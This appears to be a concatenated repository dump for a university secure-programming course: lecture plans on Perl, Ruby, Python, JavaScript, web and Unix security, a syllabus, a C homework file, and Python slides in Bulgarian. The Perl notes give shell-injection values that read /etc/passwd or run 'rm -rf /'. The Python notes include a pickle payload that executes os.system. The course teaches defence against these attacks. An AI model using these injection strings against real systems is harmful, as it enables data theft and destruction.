url(http://fonts.gstatic.com/s/droidsansmono/v7/ns-m2xQYezAtqh7ai59hJYdJ2JT0J65PSe7wdxAnx_I.woff2) format('woff2'), url(http://fonts.gstatic.com/s/droidsansmono/v7/ns-m2xQYezAtqh7ai59hJUYuTAAIFFn5GTWtryCmBQ4.woff) format('woff'); 6 | } 7 | @font-face { 8 | font-family: 'Open Sans'; 9 | font-style: normal; 10 | font-weight: 400; 11 | src: local('Open Sans'), local('OpenSans'), url(http://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2'), url(http://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3T8E0i7KZn-EPnyo3HZu7kw.woff) format('woff'); 12 | } 13 | @font-face { 14 | font-family: 'Open Sans'; 15 | font-style: normal; 16 | font-weight: 600; 17 | src: local('Open Sans Semibold'), local('OpenSans-Semibold'), url(http://fonts.gstatic.com/s/opensans/v10/MTP_ySUJH_bn48VBG8sNSugdm0LZdjqr5-oayXSOefg.woff2) format('woff2'), url(http://fonts.gstatic.com/s/opensans/v10/MTP_ySUJH_bn48VBG8sNSnhCUOGz7vYGh680lGh-uXM.woff) format('woff'); 18 | } 19 | @font-face { 20 | font-family: 'Open Sans'; 21 | font-style: italic; 22 | font-weight: 400; 23 | src: local('Open Sans Italic'), local('OpenSans-Italic'), url(http://fonts.gstatic.com/s/opensans/v10/xjAJXh38I15wypJXxuGMBo4P5ICox8Kq3LLUNMylGO4.woff2) format('woff2'), url(http://fonts.gstatic.com/s/opensans/v10/xjAJXh38I15wypJXxuGMBobN6UDyHWBl620a-IRfuBk.woff) format('woff'); 24 | } 25 | @font-face { 26 | font-family: 'Open Sans'; 27 | font-style: italic; 28 | font-weight: 600; 29 | src: local('Open Sans Semibold Italic'), local('OpenSans-SemiboldItalic'), url(http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxl2umOyRU7PgRiv8DXcgJjk.woff2) format('woff2'), url(http://fonts.gstatic.com/s/opensans/v10/PRmiXeptR36kaC0GEAetxn5HxGBcBvicCpTp6spHfNo.woff) format('woff'); 30 | } 31 | -------------------------------------------------------------------------------- /lecture-plans/perl-security.txt: -------------------------------------------------------------------------------- 1 | - SQL 2 | - Shell 3 | - Code 4 | - Hash implementation(collisions) 5 | - general language issues 6 | 7 | Environment: 8 | INC 9 | PERLLIB 10 | PERL5LIB 11 | -I (cmd line argument to add more dirs to @INC 12 | 13 | 14 | Execution: 15 | perl interpreter -> script file 16 | 17 | 18 | exec() vs `` vs system() vs qx// 19 | 20 | $username = param ("username"); 21 | system("cat /home/pesho/$username"); 22 | 23 | What if username='; cat /etc/passwd' ? 24 | 25 | system("cat /home/pesho/; cat /etc/passwd"); 26 | 27 | And what if username='; rm -rf /' ? 28 | system("cat /home/pesho/; rm -rf /"); 29 | 30 | 31 | system("cat", "/home/pesho/$username"); 32 | 33 | Error code handling: 34 | http://perldoc.perl.org/perlvar.html#Error-Variables 35 | 36 | 37 | Race conditions 38 | unless (-e "/tmp/a_temporary_file") { 39 | open (FH, ">/tmp/a_temporary_file"); 40 | } 41 | 42 | Open files: 43 | Insecure: 44 | open(my $fd, "<$user_data"); 45 | 46 | A lot more secure :) 47 | open(my $fd, ">", "$user_data"); 48 | 49 | File open modes: 50 | > - writing 51 | >> - overwriting (truncate the file and place the cursor at the begining) 52 | < - reading 53 | +< - read and write 54 | >+ - read and write 55 | -| - start a command and read everything FROM its output 56 | |- - start a command and send everything TO its input 57 | 58 | Special case: 59 | open(my $tmp, "+>", undef) 60 | opens a temporary filename 61 | 62 | Tainted Mode 63 | -t tainting warnings 64 | -T tainting checks(warnings + generate error) 65 | 66 | Regular Expressions issues: 67 | http://perldoc.perl.org/perlretut.html#A-bit-of-magic:-executing-Perl-code-in-a-regular-expression 68 | 69 | 70 | Useful links: 71 | http://perldoc.perl.org/perlsec.html - Perl Security 72 | http://www.cgisecurity.com/lib/sips.html - Security Issues in Perl Scripts 73 | http://phrack.org/issues/55/7.html - Perl CGI problems 74 | https://www.cvedetails.com/vendor/1885/Perl.html 75 | 76 | -------------------------------------------------------------------------------- /lecture-plans/ruby-security.txt: -------------------------------------------------------------------------------- 1 | - SQL 2 | - Shell 3 | - Code 4 | - Hash implementation(collisions) 5 | - general language issues 6 | http://storage.btroyan.info/petko/ruby/#/21 7 | 8 | Interpreters 9 | - Matz's Ruby Interpreter (MRI) / CRuby 10 | - JRuby 11 | - Rubinius 12 | - mruby - used for IoT 13 | - Opal - turns Ruby into JavaScript 14 | - RubyMotion - Ruby implementation (written using Objective-C and Cocoa) 15 | 16 | gem/bundle 17 | - gem insecurity - http://guides.rubygems.org/security/ 18 | 19 | Important style differences 20 | - everything starting with capital letter is a constant (vars, classes) 21 | - every variable starting with $ is a global variable... however there are thread global variables like $? and similar 22 | 23 | Since everything is na object and is mutable... The following code will break your apps :) 24 | String = 42 25 | 26 | 27 | The most influential frameworks 28 | - Ruby on Rails 29 | - Sinatra 30 | 31 | https://github.com/ankane/secure_rails 32 | 33 | Database of vulnerable gems: 34 | https://github.com/rubysec/ruby-advisory-db 35 | 36 | Mass assignment: 37 | https://en.wikipedia.org/wiki/Mass_assignment_vulnerability 38 | https://code.tutsplus.com/tutorials/mass-assignment-rails-and-you--net-31695 39 | Mass assignment saves you much work. 40 | -- 41 | def signup 42 | @user = User.create(params[:user]) 43 | end 44 | -- 45 | params[:user] #=> {:name => "ow3ned", :admin => true} 46 | -- 47 | 48 | Protection: 49 | attr_accessible :name 50 | 51 | 52 | Ruby $SAFE 53 | http://ruby-doc.com/docs/ProgrammingRuby/html/taint.html 54 | https://bugs.ruby-lang.org/issues/8468 55 | 56 | Ruby Style Guide - https://github.com/bbatsov/ruby-style-guide 57 | 58 | RoR Security 59 | - https://guides.rubyonrails.org/security.html 60 | - https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet 61 | - Rails SQL injections https://rails-sqli.org/ 62 | 63 | Ruby basic security info - https://ruby-doc.org/core-2.5.0/doc/security_rdoc.html 64 | 65 | Regexp only till \n 66 | 67 | -------------------------------------------------------------------------------- /lecture-plans/js-security.txt: -------------------------------------------------------------------------------- 1 | 2 | NaN vs. undefined vs. null vs. false 3 | 4 | JavaScript Equality :) 5 | - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness 6 | - https://dorey.github.io/JavaScript-Equality-Table/ 7 | 8 | JavaScript Strict mode 9 | - available since ECMAScript5 10 | - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode 11 | 12 | Memory Management 13 | - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management 14 | 15 | Closuers 16 | - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures 17 | 18 | 19 | WebSockets security 20 | - https://resources.infosecinstitute.com/websocket-security-issues/ 21 | 22 | 23 | Client-side storage 24 | - LocalStorage vs. IndexedDB vs. Web SQL 25 | LocalStorage can store strings 26 | IndexedDB can store any type of JS object 27 | Web SQL allows SQL to be used directly on the client side, by JavaScript 28 | - https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage 29 | - Storage is shared per-domain, wich means that two applications on the same domain can see each other's client-side data 30 | https://www.w3.org/TR/webdatabase/#cross-directory-attacks 31 | - local storage is not encrypted, access to the storage file can reveal potentially dangerous data 32 | 33 | JavaScript preventDefault() 34 | - https://www.w3schools.com/jsref/event_preventdefault.asp 35 | - https://developer.mozilla.org/en-US/docs/Web/API/Event/preventDefault 36 | - https://developer.mozilla.org/en-US/docs/Web/API/Event/cancelable 37 | 38 | https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet 39 | 40 | What not to do: 41 | - Do not try to put password protection inside JavaScript 42 | - Do not try to put business logic ONLY on the client side 43 | - Do not make input validation ONLY on the client side 44 | 45 | Dangerous JavaScript 46 | - Code: eval(), Function(), setTimeout(), setInterval() and so on. 47 | - URL based: location.assign() 48 | - HTML based: document.write(), innerHtml vs. innerText 49 | - XHR calls: postMessage, BroadcastChannel client-side storage and other JavaScript variables 50 | https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API 51 | 52 | -------------------------------------------------------------------------------- /homeworks/01/cfg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // for lseek 5 | #include // for malloc 6 | #include // for memset 7 | #include // for printf 8 | 9 | #define LINE_SIZE 120 10 | //#define DEBUG 11 | #define FIX 12 | 13 | void split_line(char *line) { 14 | char *key = NULL; 15 | char *value = NULL; 16 | value = strchr(line, '='); 17 | key = strndup(line, value - line); 18 | #ifdef FIX 19 | if (value) { 20 | #endif 21 | value++; 22 | printf("Key: %s Value: %s\n", key, value); 23 | #ifdef FIX 24 | } 25 | #endif 26 | } 27 | 28 | int load_config(const char *file, char *result) { 29 | unsigned int fd = -1; 30 | char *buf = NULL; 31 | char *buf2 = NULL; 32 | char *newline = NULL; 33 | int ret = -1; 34 | int line = 0; 35 | int pos = 0; 36 | int finished = 0; 37 | fd = open(file, O_RDONLY|O_CLOEXEC); 38 | if (fd == -1) { 39 | return 0; 40 | } else { 41 | buf = malloc(LINE_SIZE); 42 | buf2 = malloc(LINE_SIZE); 43 | while (finished == 0) { 44 | memset(buf, '\0', LINE_SIZE); 45 | ret = read(fd, buf, LINE_SIZE); 46 | if (ret == 0 ) { 47 | close(fd); 48 | return 0; 49 | } 50 | if (ret == EOF) { 51 | break; 52 | } 53 | newline = strchr(buf, '\n'); 54 | while (newline != NULL) { 55 | line = newline - buf; // count the chars until "\n" 56 | memset(buf2, '\0', LINE_SIZE); // clean buf2 from previous input 57 | strncat(buf2, buf, line); 58 | #ifdef DEBUG 59 | fprintf(stderr, "%-100s\tline: %d read: %d len: %3d %p\n", buf2, line, ret, strlen(buf2), newline); 60 | #endif 61 | split_line(buf2); 62 | pos += line+1; // move the total file position forward 63 | buf += line+1; // move the buf forward 64 | newline = strchr(buf, '\n'); // find the next "\n" 65 | } 66 | #ifdef DEBUG 67 | printf("File pos: %d\n", pos); 68 | #endif 69 | lseek(fd, pos, SEEK_SET); // go to the new position, which is the last detected "\n" 70 | if (ret < LINE_SIZE || ret == EOF) { 71 | finished++; 72 | break; 73 | } 74 | } 75 | close(fd); 76 | return 1; 77 | } 78 | return 2; 79 | } 80 | 81 | int main(void) { 82 | char *secrets = NULL; 83 | 84 | load_config("secrets.conf", secrets); 85 | 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /lecture-plans/types-of-attacks.txt: -------------------------------------------------------------------------------- 1 | - Stack overflow 2 | - Shellcode 3 | - arch (ARM, i386, x86-64) 4 | - NOP, JMP 5 | - Heap overflow 6 | - Memory allocator 7 | - how to use double free 8 | - use after free 9 | - overwrite memory allocator structure 10 | - Stack canarry 11 | - ASLR 12 | - NX 13 | - Return oriented programming 14 | - Integer overflows 15 | - type conversion 16 | - sign extension 17 | - Uninitialized data 18 | 19 | 20 | Useful links: 21 | http://www.win.tue.nl/~aeb/linux/hh 22 | http://www.phrack.org/issues/49/14.html#article 23 | http://en.wikipedia.org/wiki/NX_bit 24 | Integer overflow: 25 | http://web.archive.org/web/20121010025025/http://www.cs.cmu.edu/~dbrumley/pubs/integer-ndss-07.pdf RICH 26 | https://www.owasp.org/index.php?title=Integer_overflow&setlang=en 27 | http://www.fefe.de/intof.html Integer overflows 28 | Heap Overflow: 29 | http://www.sans.edu/student-files/presentations/heap_overflows_notes.pdf 30 | http://www.mathyvanhoef.com/2013/02/understanding-heap-exploiting-heap.html 31 | Buffer Overflow: 32 | http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf 33 | http://www.cs.berkeley.edu/~daw/teaching/cs261-f07/reading/beyondsmashing.pdf 34 | http://www.hpenterprisesecurity.com/vulncat/en/vulncat/cpp/buffer_overflow_off_by_one.html 35 | Off-by-one: 36 | http://www.exploit-db.com/wp-content/themes/exploit/docs/28478.pdf 37 | Format string: 38 | https://www.owasp.org/index.php/Format_string_attack 39 | http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html 40 | 41 | Papers: 42 | FormatGuard 2001 - http://www.nxnw.org/~steve/papers/formatguard-sec01.pdf 43 | HeapShield 2006 - http://people.cs.umass.edu/~emery/pubs/06-28.pdf 44 | HeapSentry 2013 - https://securitee.org/files/heapsentry_dimva2013.pdf 45 | Allocators 46 | Younan malloc - http://www.fort-knox.org/files/younan_malloc.pdf 47 | FreeGuard - https://www.utdallas.edu/~zhiqiang.lin/file/CCS17c.pdf 48 | jemalloc - http://jemalloc.net/ https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf 49 | http://phrack.org/issues/66/15.html Linux Kernel Heap Tampering Detection 50 | Return oriented programming 51 | - https://cseweb.ucsd.edu/~hovav/dist/rop.pdf 52 | - https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf 53 | 54 | Libraries: 55 | SafeStr - https://www.safaribooksonline.com/library/view/secure-programming-cookbook/0596003943/ch03s04.html 56 | -------------------------------------------------------------------------------- /lecture-plans/unix-security.txt: -------------------------------------------------------------------------------- 1 | - Kernel level exploits 2 | - Linker issues 3 | - Dropping privileges (setuid, initgroups, setresuid...) 4 | - Working with capabilities 5 | - Namespaces & chroot 6 | - Filesystem ACLs 7 | 8 | 9 | 10 | Kernel exploitation 11 | - Different subsystems 12 | - Visibility issues 13 | - Arbitrary code execution kcore, kallsyms 14 | - loadable modules (CAP_SYS_MODULE) 15 | 16 | Linker issues 17 | - ld.so 18 | - ld.so.conf 19 | - the $ORIGIN 20 | readelf -a 21 | - LD_PRELOAD 22 | - LD_LIBRARY_PATH 23 | - LD_DEBUG slwodown 24 | - LD_AUDIT CVE-2010-3847 25 | 26 | 27 | Dropping privileges 28 | - What is RUID/EUID/SUID 29 | - What is setuid binary 30 | - initgroups - /etc/group 31 | - setgroups - list of groups 32 | - setuid/gid - Set effective but clean saved 33 | - seteuid/gid - Effective 34 | - setreuid/gid - Real + Effective 35 | - setresuid/gid - Real + Effective + Saved 36 | 37 | Capabilities 38 | - What the hell is it? 39 | P'(permitted) = (P(inheritable) & F(inheritable)) | 40 | (F(permitted) & cap_bset) 41 | 42 | P'(effective) = F(effective) ? P'(permitted) : 0 43 | 44 | P'(inheritable) = P(inheritable) [i.e., unchanged] 45 | 46 | P denotes the value of a thread capability set before the execve(2) 47 | P' denotes the value of a capability set after the execve(2) 48 | F denotes a file capability set 49 | cap_bset is the value of the capability bounding set 50 | - File capabilities 51 | 52 | 53 | Filesystem ACLs 54 | - How to do a file read check 55 | - access() - RUID 56 | - faccessat() - 57 | - euidaccess() - EUID 58 | - How to do a permissions check... 59 | - stat() 60 | - acl_get_file()/acl_get_fd() 61 | -> acl_get_entry() -> acl_get_permset() -> acl_get_perm() 62 | - Differences between stat() and lstat() 63 | - UMASK 64 | 65 | Chrooting 66 | - chroot + chdir 67 | 68 | Namespaces 69 | - User 70 | - PID 71 | - IPC 72 | - Mount 73 | - UTC 74 | - clone 75 | - unshare 76 | - setns 77 | 78 | Inheritance 79 | - Process execution 80 | - UID/GID/groups 81 | - Opened files 82 | - Limits 83 | - Capabilities 84 | - Root directory 85 | - Namespace 86 | 87 | 88 | Links: 89 | Linker issues: https://www.nth-dimension.org.uk/pub/BTL.pdf 90 | Linker attack: http://seclists.org/fulldisclosure/2010/Oct/257 91 | Cheating the ELF: https://grugq.github.io/docs/subversiveld.pdf 92 | Kernel exploitation: http://www.win.tue.nl/~aeb/linux/hh/hh-12.html 93 | https://www.kernel.org/doc/Documentation/security/credentials.txt 94 | https://www.kernel.org/pub/linux/libs/security/linux-privs/kernel-2.2/capfaq-0.2.txt 95 | http://linux.die.net/man/7/capabilities 96 | https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/ch-acls.html 97 | https://wiki.archlinux.org/index.php/Access_Control_Lists 98 | 99 | 100 | -------------------------------------------------------------------------------- /lecture-plans/python-security.txt: -------------------------------------------------------------------------------- 1 | - SQL 2 | - Shell 3 | - Code 4 | - Hash implementation(collisions) 5 | - general language issues 6 | 7 | Python implementations 8 | - Python 9 | - Cython 10 | - Jython 11 | - PyPy 12 | 13 | Python Virtual Environment - http://docs.python-guide.org/en/latest/dev/virtualenvs/ 14 | 15 | PIP - https://pip.pypa.io/en/stable/ 16 | 17 | Everything in Python is an Object... or it should have been :) 18 | - types of objects are not backward compatible 19 | bytes() in 2.x and in 3.x 20 | - since everything is an object, comparrison between objects is a problem. Given that we have x of type int and y of type float, the next code should not work: 21 | if x > y: 22 | 23 | A TON of people will tell you that PEP 8 is a Secure codding guideline. 24 | NO, IT ISN'T! 25 | It is a comperhansive style guide! 26 | 27 | String literals - https://docs.python.org/2/reference/lexical_analysis.html#string-literals 28 | - take note to the prefixes of 'r' and 'R' 29 | - A prefix of 'u' or 'U' makes the string a Unicode string 30 | - r or R may be combined with u or U prefixes 31 | 32 | Now let's take a look at two major parts from the language: 33 | - C modules security 34 | - Python native issues 35 | dangerous modules: json, yaml, marshal, pickle, cPickle 36 | picle code eval: "S''*__import__('os').system('echo 0wn3d')\np0\n." 37 | 38 | Guidelines from OpenStack: 39 | - https://security.openstack.org/guidelines/dg_apply-restrictive-file-permissions.html 40 | - https://security.openstack.org/guidelines/dg_avoid-dangerous-input-parsing-libraries.html 41 | - https://security.openstack.org/guidelines/dg_avoid-shell-true.html 42 | - https://security.openstack.org/guidelines/dg_use-subprocess-securely.html 43 | - https://security.openstack.org/guidelines/dg_using-file-paths.html 44 | - https://security.openstack.org/guidelines/dg_using-temporary-files-securely.html 45 | - https://security.openstack.org/guidelines/dg_protect-sensitive-data-in-files.html 46 | - https://security.openstack.org/guidelines/dg_strong-crypto.html 47 | - https://security.openstack.org/guidelines/dg_cross-site-request-forgery-csrf.html 48 | - https://security.openstack.org/guidelines/dg_cross-site-scripting-xss.html 49 | - https://security.openstack.org/guidelines/dg_move-data-securely.html & https://security.openstack.org/guidelines/dg_validate-certificates.html 50 | - How NOT to do it: https://security.openstack.org/guidelines/dg_use-oslo-rootwrap-securely.html 51 | 52 | Links: 53 | http://www.pythonsecurity.org/ 54 | https://www.python.org/dev/peps/ - Index of Python Enhancement Proposals (PEPs) 55 | https://www.python.org/dev/peps/pep-0008/ - Style Guide for Python Code 56 | https://www.python.org/news/security/ - How to report security vulnerabilities to Python 57 | https://www.cvedetails.com/product/18230/Python-Python.html?vendor_id=10210 58 | 59 | Useful tools: 60 | https://pypi.python.org/pypi/autopep8 61 | https://www.pylint.org/ 62 | https://wiki.openstack.org/wiki/Security/Projects/Bandit - Static code analisys 63 | https://github.com/openstack/syntribos - Automated API security testing 64 | -------------------------------------------------------------------------------- /course-plan.txt: -------------------------------------------------------------------------------- 1 | Weeks 2 | 1 Intros 3 | 2 Types of attacks 4 | 3 Script languages 5 | 4 Script languages & Web 6 | 5 Web & Exam 7 | 6 Compiled languages 8 | 7 Compiled languages 9 | 8 C# & Java 10 | 9 Unix/Linux security 11 | 10 Windows 12 | 13 | 1 (ALL) 14 | - Intro 15 | - Programming languages (interpretative and compiled) 16 | - Types of attacks 17 | - injection 18 | - format string 19 | - path 20 | - shell 21 | - sql 22 | - code 23 | - XSS 24 | - CSRF 25 | - Unicode 26 | - overflow 27 | - stack 28 | - heap 29 | - integer 30 | - memory allocation 31 | - underflow 32 | - off by one 33 | - logical 34 | - DNS 35 | - Timing (password brute-forcing) 36 | - Crypto 37 | - Denial of service 38 | - Input validation 39 | 2 Types of attacks 40 | - Input validation 41 | - Protocol complexity(state machine, turing complete) (ManiaX) 42 | - Environment (Marian) 43 | - Direct input (Marian) 44 | - Race conditions (Marian) 45 | - non re-entrent functions (DB, Shared mem, files) 46 | - mutex/futex/spinlock/RCU/fcntl 47 | - acter model (no shared resources architecture) 48 | - Timing 49 | 3 Script languages 50 | General problems in script languages 51 | - Hash implementation(collisions) (ManiaX) 52 | - SQL (ManiaX) 53 | - Code (Marian) 54 | - Weaktyping 55 | - PHP (Marian) 56 | - SQL 57 | - Code 58 | - Shell 59 | - general language issues 60 | - Ruby (Petko) 61 | - Perl (Marian) 62 | - SQL 63 | - Shell 64 | - Code 65 | - general language issues 66 | 4 Script languages 67 | - Python (Kiro) 68 | - Bash (Marian) 69 | - JavaScript (Joan) 70 | - Web 71 | 5 Web 72 | WEB (Petko) 73 | - XSS 74 | - CSRF 75 | - Hijacking 76 | - cookies 77 | - domains 78 | - Exams 79 | 6 Compiled languages 80 | - Shellcode 81 | - arch (ARM, i386, x86-64) ManiaX 82 | - ARM 32/64 83 | - i386/x86-64 84 | - NOP, JMP HackMan 85 | - shellcode HackMan 86 | - return oriented programming HackMan 87 | 7 Compiled languages 88 | - Stack overflow HackMan 89 | - Heap overflow HackMan 90 | - Memory allocator HackMan 91 | - how to use double free 92 | - use after free 93 | - overwrite memory allocator structure 94 | 95 | - Stack canarry HackMan 96 | - ASLR HackMan 97 | - NX HackMan 98 | - Integer overflows ManiaX 99 | - type conversion 100 | - sign extension 101 | - Uninitialized data ManiaX 102 | 8 C# & Java 103 | - C#(Joan) 104 | - SQL 105 | - Shell 106 | - Code 107 | - general language issues 108 | - Java (da vidq predlojenieto na Nakov) 109 | - SQL 110 | - Shell 111 | - Code 112 | - Hash implementation(collisions) 113 | - general language issues 114 | - Exams 115 | 9 Linux (Marian) 116 | - Kernel level exploits 117 | - proper setuid 118 | - linker 119 | - capabilities 120 | - namespaces 121 | - chroot 122 | 10 Windows 123 | Windows (Bobi) 124 | 11 125 | Demo 126 | 12 127 | - Crypto (ManiaX) 128 | - Defensive Programming (Marian) 129 | Misc 130 | - Packet in packet injection (ManiaX) 131 | - ??? 132 | 133 | 134 | Find security issues with the following software: 135 | - Moodle 136 | - Joomla 137 | - WordPress 138 | - Linux Kernel 139 | Every proven security issue is elidgable for 1 to 3 points. 140 | -------------------------------------------------------------------------------- /lecture-plans/web-security.txt: -------------------------------------------------------------------------------- 1 | - XSS 2 | - CSRF 3 | - Hijacking 4 | - cookies 5 | - domains 6 | 7 | * How browsers work 8 | - makeing the actual requests 9 | - building the DOM tree 10 | - applying CSS changes 11 | - loading and executing JS 12 | - WebSockets 13 | 14 | * Hijacking 15 | - cookies and their options - https://tools.ietf.org/html/rfc6265#section-4.1 16 | Set-Cookie: name=value; OPTIONS name2=value2; OPTIONS 17 | Options can be: expires / max-age / domain / path / secure / httponly / extension 18 | - web application sessions are actually cookies in the browser and file/db storage linked to that cookie 19 | - domains 20 | registrar lock 21 | transperant proxy (MITM) 22 | 23 | * Cross Site Scripting - XSS 24 | https://en.wikipedia.org/wiki/Cross-site_scripting 25 | https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 26 | 27 | * Cross Site Request Forgery - CSRF 28 | - CSRF tokens are used mainly to prevent repetition of requests and requests that are done without prior access to the site 29 | - useing CSRF tokens also prevent attacks based on the idea that the browser can perform actions of already authenticated users 30 | - CSRF attacks can also be prevented using decent CORS Access-Control-Allow-Origin setup 31 | https://en.wikipedia.org/wiki/Cross-site_request_forgery 32 | https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) 33 | 34 | * Stealing data with CSS 35 | https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense 36 | 37 | * Same Origin Policy - 38 | - originaly build to protect the DOM tree from modifications from locations outside the origin domain 39 | It is URI, which means, that: 40 | http://go.com != https://go.com 41 | http://go.com != http://www.go.com 42 | - generally applies to: Flash, Silverlight, PDF or Ajax(XMLHttpRequest) loading and also WebSockets 43 | - relaxing the same origin policy: 44 | document.domain property 45 | Cross-Origin Resource Sharing (CORS) 46 | Cross-document messaging (Calling the postMessage() method on a Window object asynchronously fires an "onmessage" event in that window and obviously all of its tabs) 47 | - 7 | 8 | 9 | 10 | 11 |
12 | 13 |
14 |

Python

15 |

17.03.2015

16 | 17 | 18 |
19 | 20 | 21 |

22 | Кирил Владимиров 23 |

24 | 25 | 26 |
27 | 28 |
29 | 30 |
31 | 32 |
33 | 34 | 35 |

36 | 37 |

38 | 39 | 40 |
41 | 42 |
43 | 44 | 45 | 46 |
47 | 48 |

Python 101

49 | 50 |
    51 | 52 |
  • general-purpose
  • 53 | 54 |
  • high-level
  • 55 | 56 |
  • object-oriented
  • 57 | 58 |
  • a bit functional
  • 59 | 60 |
  • ...
  • 61 | 62 |
63 | 64 | 65 |
66 | 67 | 68 | 69 |
70 | 71 |

Къде отива кодът?

72 | 73 |
    74 | 75 |
  • Код се пише в .py файлове (например gameoflife.py).
  • 76 | 77 |
  • Изпълнява се с python gameoflife.py
  • 78 | 79 |
  • Можем да пишем код интерактивно, като пуснем python без аргументи.
  • 80 | 81 |
82 | 83 | 84 |
85 | 86 | 87 | 88 |
89 | 90 |

Python е предсказуем

91 | 92 | 93 |

94 | Когато не сте сигурни, просто пробвайте. 95 |

96 | 97 | 98 | 99 |
$ python
100 | >>> 5 + 10
101 | 15
102 | >>> a = 5
103 | >>> b = a + 10
104 | >>> print(b)
105 | 15
106 | >>> a * 2
107 | 10
108 | >>> a ** 2
109 | 25
110 | >>> "hello" + ', ' + "world"
111 | "hello, world"
112 | 113 | 114 | 115 |
116 | 117 | 118 | 119 |
120 | 121 |

Един ред код

122 | 123 | 124 |
my_var = 'spam'.upper()
125 | print(my_var) # SPAM
126 | 127 | 128 |
    129 | 130 |
  • Съдържа един израз, никога не завършва с ;
  • 131 | 132 |
  • Всичко след # е коментар
  • 133 | 134 |
135 | 136 | 137 |
138 | 139 | 140 | 141 |
142 | 143 |

Имена

144 | 145 | 146 |

147 | Можем да дадем име на стойност и получаваме променлива: 148 |

149 | 150 | 151 | 152 |
velocity = distance / 60
153 | 154 | 155 | 156 |

157 | Динамичен език - стойностите имат тип, но имената - не. 158 |

159 | 160 | 161 | 162 |
а = 5
163 | type(a) # <class 'int'>
164 | a = 'test'
165 | type(a) # <class 'str'>
166 | 167 | 168 | 169 |
170 | 171 | 172 | 173 |
174 | 175 |

Имена

176 | 177 |
178 | 179 |
180 | 181 |
182 | 183 |
184 | 185 |
186 | 187 |
188 | 189 | 190 |
191 | 192 | 193 | 194 |
195 | 196 |

Duck-typing

197 |
When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck
198 | 199 |
class Duck:
200 |     def quack(self):
201 |         print("Quack, quack!")
202 | 
203 |     def fly(self):
204 |         print("Flap, Flap!")
205 | 
206 | class Person:
207 |     def quack(self):
208 |         print("I'm Quackin'!")
209 | 
210 |     def fly(self):
211 |         print("I'm Flyin'!")
212 | 
213 | def in_the_forest(mallard):
214 |     mallard.quack()
215 |     mallard.fly()
216 | 
217 | in_the_forest(Duck())
218 | in_the_forest(Person())
219 | 220 | 221 | 222 |
223 | 224 | 225 | 226 |
227 | 228 |

Всичко е обект

229 | 230 | 231 |

232 | Буквално 233 |

234 | 235 | 236 | 237 |
>>> type(42)
238 | <class 'int'>
239 | >>> type([])
240 | <class 'list'>
241 | >>> type([]) is list
242 | True
243 | >>> type(list)
244 | <class 'type'>
245 | >>> type(list) is type
246 | True
247 | >>> type(type(type(list)))
248 | <class 'type'>
249 | 250 | 251 | 252 |
253 | 254 | 255 | 256 |
257 | 258 |

Класове

259 | 260 | 261 |
class Vector:
262 |     def __init__(self, x, y):
263 |         self.x = x
264 |         self.y = y
265 | 
266 | v = Vector(1.0, 1.0)
267 | 268 | 269 |
    270 | 271 |
  • Атрибутите не се нуждаят от декларации
  • 272 | 273 |
  • Винаги са достъпни
  • 274 | 275 |
  • Могат да се променят
  • 276 | 277 |
278 | 279 | 280 |
281 | 282 | 283 | 284 |
285 | 286 |

private/protected

287 | 288 |
    289 | 290 |
  • private и protected концепциите не са това, за което сте свикнали да мислите в езици като C++/Java/C#
  • 291 | 292 |
  • Ограниченията за използване на защитени и частни методи в класовете в python е отговорност на програмиста
  • 293 | 294 |
  • Атрибути започващи с _ са защитени, т.е. би следвало да се ползват само от методи на класа и наследяващи го класове
  • 295 | 296 |
  • Атрибути започващи с са частни, т.е. би следвало да се ползват само от методи на класа
  • 297 | 298 |
299 | 300 | 301 |
302 | 303 | 304 | 305 |
306 | 307 |

"би следвало"

308 | 309 | 310 |

311 | Нищо не ви пречи да ги достъпвате 312 |

313 | 314 | 315 | 316 |
317 | 318 | 319 | 320 |
321 | 322 |

Константи

323 | 324 |
    325 | 326 |
  • Имената им са в SCREAMING_SNAKE_CASE
  • 327 | 328 |
  • Също чисто конвенционални
  • 329 | 330 |
  • Можете да ги промените и нищо няма да ви спре
  • 331 | 332 |
333 | 334 | 335 |
336 | 337 | 338 | 339 |
340 | 341 |

Методи

342 | 343 | 344 |

345 | Те са си атрибути като всички други 346 |

347 | 348 | 349 |
    350 | 351 |
  • Могат да се достъпват
  • 352 | 353 |
  • Могат да се променят
  • 354 | 355 |
  • Могат и да се добавят нови, по време на изпълнение
  • 356 | 357 |
358 | 359 | 360 |
v = Vector(1.0, 1.0)
361 | Vector.inject = lambda _: print("EVIL!!!!")
362 | v.inject()
363 | 364 | 365 | 366 |
367 | 368 | 369 | 370 |
371 | 372 |

Достъп до всичко

373 | 374 |
    375 | 376 |
  • Всеки обект си има __dict__ със всички атрибути
  • 377 | 378 |
379 | 380 | 381 |
382 | 383 | 384 | 385 |
386 | 387 |

Можем да се предпазим от това

388 | 389 | 390 |

391 | __slots__ 392 |

393 | 394 | 395 | 396 |
class Vector:
397 |     __slots__ = 'x', 'y'
398 | 
399 | v = Vector()
400 | v.x = 1
401 | v.y = 2
402 | v.z = 3
403 | ---------------------------------------------------------------------------
404 | AttributeError                            Traceback (most recent call last)
